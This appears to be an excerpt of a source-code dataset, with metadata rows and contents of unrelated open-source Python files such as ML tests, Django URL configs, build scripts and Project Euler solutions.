import numpy as np import pandas as pd import shutil import urllib import urlparse from os.path import splitext, basename import os from os import sys, path from pprint import pprint import StringIO import db from gp import * from core import * from IPython.core.debugger import Tracer class Annotation(UploadCsvConve...
true
true
790b171ce026ef2d18e83d1683d9e31e7e375328
10,338
py
Python
research/object_detection/builders/calibration_builder_test.py
zhaowt96/models
03182253673b0e2666ad9a33839759834c0acebd
[ "Apache-2.0" ]
null
null
null
research/object_detection/builders/calibration_builder_test.py
zhaowt96/models
03182253673b0e2666ad9a33839759834c0acebd
[ "Apache-2.0" ]
null
null
null
research/object_detection/builders/calibration_builder_test.py
zhaowt96/models
03182253673b0e2666ad9a33839759834c0acebd
[ "Apache-2.0" ]
null
null
null
# Lint as: python2, python3 # Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # ...
44.179487
80
0.667054
from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from scipy import interpolate from six.moves import zip import tensorflow as tf from object_detection.builders import calibration_builder from object_detection.protos import c...
true
true
790b173432bf26c0008a0f7d958ea9da6255f9ea
814
py
Python
src/dcos_e2e_cli/common/credentials.py
jongiddy/dcos-e2e
b52ef9a1097a8fb328902064345cc6c8b0bf5779
[ "Apache-2.0" ]
63
2018-05-17T21:02:14.000Z
2021-11-15T19:18:03.000Z
src/dcos_e2e_cli/common/credentials.py
jongiddy/dcos-e2e
b52ef9a1097a8fb328902064345cc6c8b0bf5779
[ "Apache-2.0" ]
225
2017-09-08T02:24:58.000Z
2018-05-16T12:18:58.000Z
src/dcos_e2e_cli/common/credentials.py
jongiddy/dcos-e2e
b52ef9a1097a8fb328902064345cc6c8b0bf5779
[ "Apache-2.0" ]
21
2018-06-14T21:58:24.000Z
2021-11-15T19:18:06.000Z
""" Credentials used when making CLIs. """ from pathlib import Path from dcos_e2e.cluster import Cluster DEFAULT_SUPERUSER_USERNAME = 'bootstrapuser' DEFAULT_SUPERUSER_PASSWORD = 'deleteme' def add_authorized_key(cluster: Cluster, public_key_path: Path) -> None: """ Add an authorized key to all nodes in th...
22
72
0.540541
from pathlib import Path from dcos_e2e.cluster import Cluster DEFAULT_SUPERUSER_USERNAME = 'bootstrapuser' DEFAULT_SUPERUSER_PASSWORD = 'deleteme' def add_authorized_key(cluster: Cluster, public_key_path: Path) -> None: nodes = { *cluster.masters, *cluster.agents, *cluster.public_agents...
true
true
790b1759dac2822a565da21263cc32769cb33853
2,698
py
Python
Exode/UI/polarGraph.py
RenatoTorres/Exode
fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a
[ "Apache-2.0" ]
null
null
null
Exode/UI/polarGraph.py
RenatoTorres/Exode
fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a
[ "Apache-2.0" ]
1
2018-08-09T23:45:01.000Z
2018-08-09T23:45:01.000Z
Exode/UI/polarGraph.py
RenatoTorres/Exode
fd7f6f51a04a88d404dcbed34acd5b8c2f54e54a
[ "Apache-2.0" ]
null
null
null
from kivy.lang import Builder from kivy.uix.widget import Widget from kivy.uix.floatlayout import FloatLayout from kivy.uix.gridlayout import GridLayout from kivy.graphics import * from kivy.graphics.texture import Texture from kivy.properties import ListProperty from .gardenGraph import Plot from .ExdLabel import * i...
31.372093
95
0.569311
from kivy.lang import Builder from kivy.uix.widget import Widget from kivy.uix.floatlayout import FloatLayout from kivy.uix.gridlayout import GridLayout from kivy.graphics import * from kivy.graphics.texture import Texture from kivy.properties import ListProperty from .gardenGraph import Plot from .ExdLabel import * i...
true
true
790b17823832d542e9f2d0aff12b5b79aa574df5
684
py
Python
wouso/interface/apps/files/cpanel_urls.py
AlexandruGhergut/wouso
f26244ff58ae626808ae8c58ccc93d21f9f2666f
[ "Apache-2.0" ]
117
2015-01-02T18:07:33.000Z
2021-01-06T22:36:25.000Z
wouso/interface/apps/files/cpanel_urls.py
AlexandruGhergut/wouso
f26244ff58ae626808ae8c58ccc93d21f9f2666f
[ "Apache-2.0" ]
229
2015-01-12T07:07:58.000Z
2019-10-12T08:27:01.000Z
wouso/interface/apps/files/cpanel_urls.py
AlexandruGhergut/wouso
f26244ff58ae626808ae8c58ccc93d21f9f2666f
[ "Apache-2.0" ]
96
2015-01-07T05:26:09.000Z
2020-06-25T07:28:51.000Z
from django.conf.urls import patterns, url urlpatterns = patterns('wouso.interface.apps.files.cpanel_views', url(r'^$', 'files', name='files'), url(r'^add_file/$', 'add_file', name='add_file'), url(r'^edit_file/(?P<pk>\d+)/$', 'edit_file', name='edit_file'), url(r'^delete_file/(?P<pk>\d+)/$', 'delete_f...
52.615385
91
0.663743
from django.conf.urls import patterns, url urlpatterns = patterns('wouso.interface.apps.files.cpanel_views', url(r'^$', 'files', name='files'), url(r'^add_file/$', 'add_file', name='add_file'), url(r'^edit_file/(?P<pk>\d+)/$', 'edit_file', name='edit_file'), url(r'^delete_file/(?P<pk>\d+)/$', 'delete_f...
true
true
790b182fac02f2f5d7712f5ef02a0852c6baebfa
1,162
py
Python
ajax/urls.py
joestump/django-ajax
b71619d5c00d8e0bb990ddbea2c93cf303dc2c80
[ "BSD-3-Clause" ]
62
2015-01-09T23:02:06.000Z
2020-12-27T19:44:58.000Z
ajax/urls.py
joestump/django-ajax
b71619d5c00d8e0bb990ddbea2c93cf303dc2c80
[ "BSD-3-Clause" ]
7
2015-03-26T21:52:54.000Z
2016-06-20T20:53:43.000Z
ajax/urls.py
joestump/django-ajax
b71619d5c00d8e0bb990ddbea2c93cf303dc2c80
[ "BSD-3-Clause" ]
12
2015-02-23T11:58:44.000Z
2020-10-26T22:32:58.000Z
from __future__ import absolute_import from django.conf.urls import * from django.views.static import serve from ajax import views import django import os JAVASCRIPT_PATH = "%s/js" % os.path.dirname(__file__) if django.VERSION < (1, 8): urlpatterns = patterns('ajax.views', (r'^(?P<application>\w+)/(?P<mod...
44.692308
163
0.598967
from __future__ import absolute_import from django.conf.urls import * from django.views.static import serve from ajax import views import django import os JAVASCRIPT_PATH = "%s/js" % os.path.dirname(__file__) if django.VERSION < (1, 8): urlpatterns = patterns('ajax.views', (r'^(?P<application>\w+)/(?P<mod...
true
true
790b18c838d2e1ac885c3773cd7a0f20395937c4
30,641
py
Python
torch/distributed/_sharded_tensor/api.py
steffenerickson/pytorch
0b656c4c69ce77ecd9aace486e471917e4660746
[ "Intel" ]
1
2022-02-13T15:29:24.000Z
2022-02-13T15:29:24.000Z
torch/distributed/_sharded_tensor/api.py
steffenerickson/pytorch
0b656c4c69ce77ecd9aace486e471917e4660746
[ "Intel" ]
null
null
null
torch/distributed/_sharded_tensor/api.py
steffenerickson/pytorch
0b656c4c69ce77ecd9aace486e471917e4660746
[ "Intel" ]
null
null
null
from dataclasses import dataclass, field from enum import Enum from typing import ( Callable, Dict, List, Optional, Union ) import weakref import threading import torch import torch.distributed as dist from torch.distributed import rpc from torch.distributed import distributed_c10d from torch.distr...
40.637931
126
0.649163
from dataclasses import dataclass, field from enum import Enum from typing import ( Callable, Dict, List, Optional, Union ) import weakref import threading import torch import torch.distributed as dist from torch.distributed import rpc from torch.distributed import distributed_c10d from torch.distr...
true
true
790b18f3fdca6c5f67de99d45ef9ca4dc84801f2
5,544
py
Python
mscreen/autodocktools_prepare_py3k/AutoDockTools/Utilities24/rotate_molecule.py
e-mayo/mscreen
a50f0b2f7104007c730baa51b4ec65c891008c47
[ "MIT" ]
9
2021-03-06T04:24:28.000Z
2022-01-03T09:53:07.000Z
AutoDockTools/Utilities24/rotate_molecule.py
e-mayo/autodocktools-prepare-py3k
2dd2316837bcb7c19384294443b2855e5ccd3e01
[ "BSD-3-Clause" ]
3
2021-03-07T05:37:16.000Z
2021-09-19T15:06:54.000Z
AutoDockTools/Utilities24/rotate_molecule.py
e-mayo/autodocktools-prepare-py3k
2dd2316837bcb7c19384294443b2855e5ccd3e01
[ "BSD-3-Clause" ]
4
2019-08-28T23:11:39.000Z
2021-11-27T08:43:36.000Z
#!/usr/bin/env python #$Id: rotate_molecule.py,v 1.2.10.1 2016/02/11 09:24:08 annao Exp $ import os from MolKit import Read from MolKit.pdbWriter import PdbWriter, PdbqsWriter, PdbqWriter, PdbqtWriter from mglutil.math.rotax import rotax import numpy if __name__ == '__main__': import sys import getopt ...
33.6
82
0.537879
import os from MolKit import Read from MolKit.pdbWriter import PdbWriter, PdbqsWriter, PdbqWriter, PdbqtWriter from mglutil.math.rotax import rotax import numpy if __name__ == '__main__': import sys import getopt def usage(): print("Usage: rotate_molecule.py -f filename") print() ...
true
true
790b18f6734a0e743f09e074c7c58ce541977cf8
10,660
py
Python
services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py
FlexiGroBots-H2020/datacube-config
8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91
[ "Apache-2.0" ]
null
null
null
services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py
FlexiGroBots-H2020/datacube-config
8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91
[ "Apache-2.0" ]
null
null
null
services/ows_refactored/surface_temperature/ows_lsc2_st_cfg.py
FlexiGroBots-H2020/datacube-config
8d6c61cf7c9a68552176aeb4aabc7ac6c3fc5a91
[ "Apache-2.0" ]
null
null
null
from ows_refactored.common.ows_reslim_cfg import reslim_landsat bands_ls5_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls7_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls8_st = { "ST_B10": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["...
40.075188
390
0.621764
from ows_refactored.common.ows_reslim_cfg import reslim_landsat bands_ls5_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls7_st = { "ST_B6": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["pq"] } bands_ls8_st = { "ST_B10": ["st"], "ST_QA": ["st_qa"], "QA_PIXEL": ["...
true
true
790b1a9e45cc381969fa85f3a9d96924b9186a1b
5,640
py
Python
src/metarl/tf/policies/categorical_mlp_policy.py
icml2020submission6857/metarl
9b66cefa2b6bcb6a38096d629ce8853b47c7171d
[ "MIT" ]
2
2020-03-15T14:35:15.000Z
2021-02-15T16:38:00.000Z
src/metarl/tf/policies/categorical_mlp_policy.py
icml2020submission6857/metarl
9b66cefa2b6bcb6a38096d629ce8853b47c7171d
[ "MIT" ]
null
null
null
src/metarl/tf/policies/categorical_mlp_policy.py
icml2020submission6857/metarl
9b66cefa2b6bcb6a38096d629ce8853b47c7171d
[ "MIT" ]
1
2020-02-24T03:04:23.000Z
2020-02-24T03:04:23.000Z
"""CategoricalMLPPolicy.""" import akro import tensorflow as tf from metarl.tf.distributions import Categorical from metarl.tf.models import MLPModel from metarl.tf.policies import StochasticPolicy class CategoricalMLPPolicy(StochasticPolicy): """CategoricalMLPPolicy A policy that contains a MLP to make pre...
39.71831
78
0.623227
import akro import tensorflow as tf from metarl.tf.distributions import Categorical from metarl.tf.models import MLPModel from metarl.tf.policies import StochasticPolicy class CategoricalMLPPolicy(StochasticPolicy): def __init__(self, env_spec, name='CategoricalMLPPolicy', ...
true
true
790b1bcb65b0002b2304c49056b552d8e13c6713
54,457
py
Python
os-lib/mbed-os/tools/build_api.py
ghsecuritylab/BenchIoT
4919427d35e578a7ff07ef5e0b4710b6455dd0b9
[ "Apache-2.0" ]
22
2019-05-03T03:39:09.000Z
2022-02-26T17:14:15.000Z
os-lib/mbed-os/tools/build_api.py
ghsecuritylab/BenchIoT
4919427d35e578a7ff07ef5e0b4710b6455dd0b9
[ "Apache-2.0" ]
3
2019-07-29T19:48:49.000Z
2022-01-10T07:24:43.000Z
os-lib/mbed-os/tools/build_api.py
ghsecuritylab/BenchIoT
4919427d35e578a7ff07ef5e0b4710b6455dd0b9
[ "Apache-2.0" ]
8
2019-05-16T08:02:33.000Z
2021-08-03T03:41:37.000Z
""" mbed SDK Copyright (c) 2011-2016 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in wr...
38.458333
101
0.635676
""" mbed SDK Copyright (c) 2011-2016 ARM Limited Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in wr...
false
true
790b1bcd69de3a7ca25a03a56710c8f20a956051
1,088
py
Python
bibli/arquivo/__init__.py
EduardoPessanha/Python
ac248a14288da2dd9c482afea30468c21db5460f
[ "MIT" ]
null
null
null
bibli/arquivo/__init__.py
EduardoPessanha/Python
ac248a14288da2dd9c482afea30468c21db5460f
[ "MIT" ]
1
2021-11-16T16:12:41.000Z
2021-11-16T16:15:08.000Z
bibli/arquivo/__init__.py
EduardoPessanha/Python
ac248a14288da2dd9c482afea30468c21db5460f
[ "MIT" ]
null
null
null
def testaArq(arq): """ -> Verifica se existe o arquivo arq :arq: Nome do arquivo a ser testado. :return: retorna True se o arquivo for encontrado, caso contrário False """ try: a = open(arq) except FileNotFoundError: # O arquivo não foi encontrado print('Arquivo não enco...
21.333333
61
0.560662
def testaArq(arq): try: a = open(arq) except FileNotFoundError: print('Arquivo não encontrado!') return False else: return True def criaArq(arq=''): try: a = open(arq, 'xt') except FileExistsError: print(f'ERRO: o arquivo \"{arq}\" já existe!') ...
true
true
790b1c298f3504e67b502f6aa388aaf3fd5051a2
7,862
py
Python
setup.py
PhilipMay/optuna
81840c2e08f452bd5ac959afaca0fee006bdb44e
[ "MIT" ]
null
null
null
setup.py
PhilipMay/optuna
81840c2e08f452bd5ac959afaca0fee006bdb44e
[ "MIT" ]
null
null
null
setup.py
PhilipMay/optuna
81840c2e08f452bd5ac959afaca0fee006bdb44e
[ "MIT" ]
null
null
null
import os import sys from typing import Dict from typing import List from typing import Optional import pkg_resources from setuptools import find_packages from setuptools import setup def get_version() -> str: version_filepath = os.path.join(os.path.dirname(__file__), "optuna", "version.py") with open(versi...
31.574297
92
0.512338
import os import sys from typing import Dict from typing import List from typing import Optional import pkg_resources from setuptools import find_packages from setuptools import setup def get_version() -> str: version_filepath = os.path.join(os.path.dirname(__file__), "optuna", "version.py") with open(versi...
true
true
790b1cc12df560ef9f4e3ce6bcdbf341f94a9bba
14,093
py
Python
tests/testUtils.py
drmaxchen/pyradio
f2e46856425cfb233d29d391199bfb9b85824b06
[ "BSD-3-Clause" ]
2
2020-09-11T01:04:07.000Z
2020-09-11T01:35:46.000Z
tests/testUtils.py
drmaxchen/pyradio
f2e46856425cfb233d29d391199bfb9b85824b06
[ "BSD-3-Clause" ]
null
null
null
tests/testUtils.py
drmaxchen/pyradio
f2e46856425cfb233d29d391199bfb9b85824b06
[ "BSD-3-Clause" ]
1
2020-09-11T01:04:46.000Z
2020-09-11T01:04:46.000Z
import ast import csv import logging import math import os from nose_parameterized import parameterized import numpy import SimpleITK as sitk import six from radiomics import getTestCase, imageoperations # Get the logger. This is done outside the class, as it is needed by both the class and the custom_name_func log...
36.228792
122
0.67679
import ast import csv import logging import math import os from nose_parameterized import parameterized import numpy import SimpleITK as sitk import six from radiomics import getTestCase, imageoperations logger = logging.getLogger('radiomics.testing') TEST_CASES = ('brain1', 'brain2', 'breast1', 'lung1', 'lung2'...
true
true
790b1cc2ae9747fb1d318f5abee1e2f3ba74b24c
32
py
Python
hashedml/__init__.py
mtingers/hashedml
e87f25bec719c9cce13552abb15379f6e54e563a
[ "MIT" ]
1
2022-01-09T10:41:42.000Z
2022-01-09T10:41:42.000Z
hashedml/__init__.py
mtingers/hashedml
e87f25bec719c9cce13552abb15379f6e54e563a
[ "MIT" ]
null
null
null
hashedml/__init__.py
mtingers/hashedml
e87f25bec719c9cce13552abb15379f6e54e563a
[ "MIT" ]
null
null
null
from hashedml.hashedml import *
16
31
0.8125
from hashedml.hashedml import *
true
true
790b1d0ff85b035438d20cac86138e09048cf9f7
13,863
py
Python
dash_charts/utils_app_with_navigation.py
KyleKing/dash_charts
8e3644505047fa85f3175f5bc55a2421cb0a19ea
[ "Unlicense" ]
16
2020-02-22T00:51:54.000Z
2022-03-03T21:45:51.000Z
dash_charts/utils_app_with_navigation.py
KyleKing/dash_charts
8e3644505047fa85f3175f5bc55a2421cb0a19ea
[ "Unlicense" ]
29
2020-06-29T22:14:00.000Z
2022-03-22T02:10:00.000Z
dash_charts/utils_app_with_navigation.py
KyleKing/dash_charts
8e3644505047fa85f3175f5bc55a2421cb0a19ea
[ "Unlicense" ]
1
2022-02-03T09:07:07.000Z
2022-02-03T09:07:07.000Z
"""Classes for more complex applications that have tabbed or paged navigation.""" from collections import OrderedDict from copy import deepcopy import dash_bootstrap_components as dbc import dash_core_components as dcc import dash_html_components as html from implements import implements from .utils_app import AppBa...
34.571072
120
0.572098
from collections import OrderedDict from copy import deepcopy import dash_bootstrap_components as dbc import dash_core_components as dcc import dash_html_components as html from implements import implements from .utils_app import AppBase, AppInterface TODO_CLIENT_CALLBACK = ''' TODO: Create clientside callbacks dyn...
true
true
790b1d3cfe2d90ff414474016128db749d607913
8,330
py
Python
nilearn/plotting/tests/test_html_connectome.py
ryanhammonds/nilearn
f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2
[ "BSD-2-Clause" ]
null
null
null
nilearn/plotting/tests/test_html_connectome.py
ryanhammonds/nilearn
f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2
[ "BSD-2-Clause" ]
null
null
null
nilearn/plotting/tests/test_html_connectome.py
ryanhammonds/nilearn
f33cd4e4685d9050e5bba0a8ece1b0b0f0ad1be2
[ "BSD-2-Clause" ]
1
2017-08-26T08:19:29.000Z
2017-08-26T08:19:29.000Z
import warnings import numpy as np from nilearn.plotting import cm from nilearn.plotting.js_plotting_utils import decode from nilearn.plotting import html_connectome from .test_js_plotting_utils import check_html def test_prepare_line(): e = np.asarray([0, 1, 2, 3], dtype=int) n = np.asarray([[0, 1], [0, 2...
40.436893
78
0.508283
import warnings import numpy as np from nilearn.plotting import cm from nilearn.plotting.js_plotting_utils import decode from nilearn.plotting import html_connectome from .test_js_plotting_utils import check_html def test_prepare_line(): e = np.asarray([0, 1, 2, 3], dtype=int) n = np.asarray([[0, 1], [0, 2...
true
true
790b20490561ed6c0d10e67739b18f7d99b60936
8,760
py
Python
src/aks-preview/azext_aks_preview/_validators.py
blackchoey/azure-cli-extensions
bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4
[ "MIT" ]
null
null
null
src/aks-preview/azext_aks_preview/_validators.py
blackchoey/azure-cli-extensions
bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4
[ "MIT" ]
null
null
null
src/aks-preview/azext_aks_preview/_validators.py
blackchoey/azure-cli-extensions
bbfd80ba164c4605dbdbe5e2b8dc26c3aa0f29e4
[ "MIT" ]
null
null
null
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
45.388601
184
0.649201
import os import os.path import re from math import ceil from ipaddress import ip_network from knack.log import get_logger from azure.cli.core.util import CLIError import azure.cli.core.keys as keys logger = get_logger(__name__) def validate_ssh_key(namespace): if hasattr(namespace, 'no_ssh_key') and name...
true
true
790b20caefe2c94a43433ce3db4e17257b12fc27
448
py
Python
Python/14 - Longest Collatz sequence/main.py
Dinoosawruss/project-euler
9be76ef134671fb0b4e1caa412173770b2edfcfd
[ "MIT" ]
null
null
null
Python/14 - Longest Collatz sequence/main.py
Dinoosawruss/project-euler
9be76ef134671fb0b4e1caa412173770b2edfcfd
[ "MIT" ]
null
null
null
Python/14 - Longest Collatz sequence/main.py
Dinoosawruss/project-euler
9be76ef134671fb0b4e1caa412173770b2edfcfd
[ "MIT" ]
null
null
null
steps = 0 c = {} m = 1 def collatz(n): global steps if n in c: steps += c[n] return if n == 1: return steps += 1 if n % 2 == 0: collatz(n/2) return collatz(3 * n + 1) def main(max): global steps global m for i in range(1, max):...
11.487179
27
0.419643
steps = 0 c = {} m = 1 def collatz(n): global steps if n in c: steps += c[n] return if n == 1: return steps += 1 if n % 2 == 0: collatz(n/2) return collatz(3 * n + 1) def main(max): global steps global m for i in range(1, max):...
true
true
790b20ed7e1c6e50df0dd5e3a47b79b8bfae940b
1,656
py
Python
project_euler/solutions/problem_68.py
cryvate/project-euler
6ed13880d7916c34554559f5f71662a863735eda
[ "MIT" ]
null
null
null
project_euler/solutions/problem_68.py
cryvate/project-euler
6ed13880d7916c34554559f5f71662a863735eda
[ "MIT" ]
9
2017-02-20T23:41:40.000Z
2017-04-16T15:36:54.000Z
project_euler/solutions/problem_68.py
cryvate/project-euler
6ed13880d7916c34554559f5f71662a863735eda
[ "MIT" ]
null
null
null
from typing import List, Generator def n_gons(partial: List[int], size: int, sums: int=None) -> \ Generator[List[int], None, None]: length = len(partial) if length == size * 2: yield partial for i in range(1, size * 2 + 1): if i in partial: continue partial.a...
27.147541
75
0.504227
from typing import List, Generator def n_gons(partial: List[int], size: int, sums: int=None) -> \ Generator[List[int], None, None]: length = len(partial) if length == size * 2: yield partial for i in range(1, size * 2 + 1): if i in partial: continue partial.a...
true
true
790b2172f11693a484bd3b9749b5261fd8dd9c4e
3,190
py
Python
MetafierV2.py
IkeoluwaStat/QFT
fe36763e90e3601dfab2a78a08962113343efd0c
[ "MIT" ]
163
2017-07-31T23:07:56.000Z
2022-01-30T03:07:12.000Z
MetafierV2.py
IkeoluwaStat/QFT
fe36763e90e3601dfab2a78a08962113343efd0c
[ "MIT" ]
null
null
null
MetafierV2.py
IkeoluwaStat/QFT
fe36763e90e3601dfab2a78a08962113343efd0c
[ "MIT" ]
7
2017-09-14T16:42:06.000Z
2022-02-25T15:04:01.000Z
# Metafier V2: writes directly to output.mc # Uses numpy and memoization to speed up a crap ton & compress data a bit # ===REQUIRES metatemplate11.mc=== import golly as g import numpy as np from shutil import copyfile #Get the selection selection = g.getselrect() if not selection: g.exit("No selection.") ...
40.379747
167
0.551097
import golly as g import numpy as np from shutil import copyfile selection = g.getselrect() if not selection: g.exit("No selection.") cells = g.getcells(selection) if not cells: g.exit("No pattern in selection") if len(cells) % 3: cells = cells[:-1] selw = selection[2] selh = selection[3] patte...
true
true
790b221d069713fd8fd1b1bc68f98ddc02ba0302
1,420
py
Python
Tests/test_CuInsAsmRepos_sm50.py
gxsaccount/CuAssembler
4542a3ee3fe4788bfd368a337e4c89ee288f0684
[ "MIT" ]
100
2020-08-03T03:03:02.000Z
2022-03-23T15:46:58.000Z
Tests/test_CuInsAsmRepos_sm50.py
gxsaccount/CuAssembler
4542a3ee3fe4788bfd368a337e4c89ee288f0684
[ "MIT" ]
6
2021-05-17T07:24:05.000Z
2022-02-08T11:29:44.000Z
Tests/test_CuInsAsmRepos_sm50.py
gxsaccount/CuAssembler
4542a3ee3fe4788bfd368a337e4c89ee288f0684
[ "MIT" ]
25
2020-08-03T03:03:15.000Z
2022-02-24T12:57:40.000Z
# -*- coding: utf-8 -*- from CuAsm.CuInsAssemblerRepos import CuInsAssemblerRepos from CuAsm.CuInsFeeder import CuInsFeeder def constructReposFromFile(sassname, savname=None, arch='sm_75'): # initialize a feeder with sass feeder = CuInsFeeder(sassname, arch=arch) # initialize an empty repos ...
27.307692
70
0.672535
from CuAsm.CuInsAssemblerRepos import CuInsAssemblerRepos from CuAsm.CuInsFeeder import CuInsFeeder def constructReposFromFile(sassname, savname=None, arch='sm_75'): feeder = CuInsFeeder(sassname, arch=arch) repos = CuInsAssemblerRepos(arch=arch) repos.update(feeder) ...
true
true
790b222ea040908137c4f4b9fa62ce4fe964d3f9
5,498
py
Python
tests/test_integration_workflows_gan.py
Can-Zhao/MONAI
e29ef022b97a4e809dd22d4d208005f541ee061b
[ "Apache-2.0" ]
3
2020-06-22T20:59:14.000Z
2021-04-09T21:24:45.000Z
tests/test_integration_workflows_gan.py
Borda/MONAI
e0db5a564225a7cb62e7a23df97267019006302f
[ "Apache-2.0" ]
null
null
null
tests/test_integration_workflows_gan.py
Borda/MONAI
e0db5a564225a7cb62e7a23df97267019006302f
[ "Apache-2.0" ]
1
2020-05-27T12:53:58.000Z
2020-05-27T12:53:58.000Z
# Copyright (c) MONAI Consortium # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, so...
34.3625
115
0.684613
import logging import os import shutil import sys import tempfile import unittest from glob import glob import nibabel as nib import numpy as np import torch import monai from monai.data import create_test_image_2d from monai.engines import GanTrainer from monai.engines.utils import GanKeys as Keys from mo...
true
true
790b228e8aa5bf49b0e1e3268923018c40afca2b
753
py
Python
cwmud/core/commands/info/look.py
whutch/cwmud
bee8b126a5e70edd0593dae9753a6be8d52357cf
[ "MIT" ]
11
2016-03-03T03:56:59.000Z
2021-11-19T15:38:51.000Z
cwmud/core/commands/info/look.py
whutch/atria
bee8b126a5e70edd0593dae9753a6be8d52357cf
[ "MIT" ]
26
2016-08-31T23:19:45.000Z
2019-10-19T21:50:33.000Z
cwmud/core/commands/info/look.py
whutch/atria
bee8b126a5e70edd0593dae9753a6be8d52357cf
[ "MIT" ]
2
2016-01-22T21:22:34.000Z
2016-02-09T06:03:57.000Z
# -*- coding: utf-8 -*- """Look command.""" # Part of Clockwork MUD Server (https://github.com/whutch/cwmud) # :copyright: (c) 2008 - 2017 Will Hutcheson # :license: MIT (https://github.com/whutch/cwmud/blob/master/LICENSE.txt) from .. import Command, COMMANDS from ...characters import CharacterShell @COMMANDS.regis...
26.892857
73
0.640106
from .. import Command, COMMANDS from ...characters import CharacterShell @COMMANDS.register class LookCommand(Command): def _action(self): char = self.session.char if not char: self.session.send("You're not playing a character!") return if not char.room: ...
true
true
790b22f67984acbc1adc70e328564f8496f2231c
2,925
py
Python
examples/elastic.py
costrouc/pymatgen-lammps
0e1aee4c4c93a62ac3648086d3007be7c2ce20a1
[ "MIT" ]
3
2020-07-01T07:59:42.000Z
2022-01-19T07:19:08.000Z
examples/elastic.py
costrouc/pymatgen-lammps
0e1aee4c4c93a62ac3648086d3007be7c2ce20a1
[ "MIT" ]
null
null
null
examples/elastic.py
costrouc/pymatgen-lammps
0e1aee4c4c93a62ac3648086d3007be7c2ce20a1
[ "MIT" ]
4
2020-07-26T03:30:52.000Z
2021-08-09T21:26:00.000Z
# Calculation the Elastic Constants from given deformations import os import subprocess from pymatgen import Structure, Lattice, Specie from pymatgen.analysis.elasticity import DeformedStructureSet, Strain, Stress, ElasticTensor from pmg_lammps import RelaxSet, LammpsLog, LammpsData, LammpsPotentials supercell = (5...
35.240964
101
0.709744
import os import subprocess from pymatgen import Structure, Lattice, Specie from pymatgen.analysis.elasticity import DeformedStructureSet, Strain, Stress, ElasticTensor from pmg_lammps import RelaxSet, LammpsLog, LammpsData, LammpsPotentials supercell = (5, 5, 5) a = 4.1990858 lattice = Lattice.from_parameters(a,...
true
true
790b24e08d1689ac5a8a136a2200ec96e8902f61
9,780
py
Python
src/coolbeans/plugins/sheetsaccount.py
runarp/coolbeans
128a7f2e45690d2d22b05608e555c44334f46859
[ "MIT" ]
5
2020-05-17T04:48:25.000Z
2022-01-27T09:36:45.000Z
src/coolbeans/plugins/sheetsaccount.py
runarp/coolbeans
128a7f2e45690d2d22b05608e555c44334f46859
[ "MIT" ]
1
2020-05-17T06:21:52.000Z
2020-05-22T13:49:33.000Z
src/coolbeans/plugins/sheetsaccount.py
runarp/coolbeans
128a7f2e45690d2d22b05608e555c44334f46859
[ "MIT" ]
1
2021-01-28T03:00:27.000Z
2021-01-28T03:00:27.000Z
""" # Sheets Account Read a Google Sheet as if it were are realtime source of transactions for a GL account. Columns are mapped to attributes. The assumption is that the sheet maps to a single account, and the rows are the credit/debits to that account. Can be used as a plugin, which will write new entries (for ref...
31.650485
100
0.58456
import logging import decimal import pprint import typing import datetime import dateparser import pathlib import slugify from beancount.core import data from coolbeans.utils import safe_plugin, get_setting from coolbeans.tools.sheets import google_connect, safe_open_sheet from coolbeans.plugins.accountsync import...
true
true
790b256629c5649137035d014ee8ea6aa54c079f
4,072
py
Python
src/genie/libs/parser/asa/tests/test_show_vpn.py
filippohronsky/genieparser
85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df
[ "Apache-2.0" ]
2
2021-01-27T03:37:39.000Z
2021-01-27T03:40:50.000Z
src/genie/libs/parser/asa/tests/test_show_vpn.py
filippohronsky/genieparser
85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df
[ "Apache-2.0" ]
1
2020-08-01T00:23:31.000Z
2020-08-01T00:40:05.000Z
src/genie/libs/parser/asa/tests/test_show_vpn.py
filippohronsky/genieparser
85e4b7a8f101e5cd44d4d7116e0e7a1af13fe9df
[ "Apache-2.0" ]
null
null
null
import unittest from unittest.mock import Mock # PyATS from pyats.topology import Device from genie.metaparser.util.exceptions import SchemaEmptyParserError, \ SchemaMissingKeyError from genie.libs.parser.asa.show_vpn import ShowVPNLoadBalancing # ============================...
35.408696
82
0.370088
import unittest from unittest.mock import Mock from pyats.topology import Device from genie.metaparser.util.exceptions import SchemaEmptyParserError, \ SchemaMissingKeyError from genie.libs.parser.asa.show_vpn import ShowVPNLoadBalancing class TestShowVPNLoadBalancing(uni...
true
true
790b2616f583dbaa08f38fd927e913e89fb35cb7
34,961
py
Python
mathTools/field.py
ecuvelier/PPAT
63d4e6417729ba09ddec6c719e98ea67b788ab11
[ "Apache-2.0" ]
3
2015-09-29T16:22:15.000Z
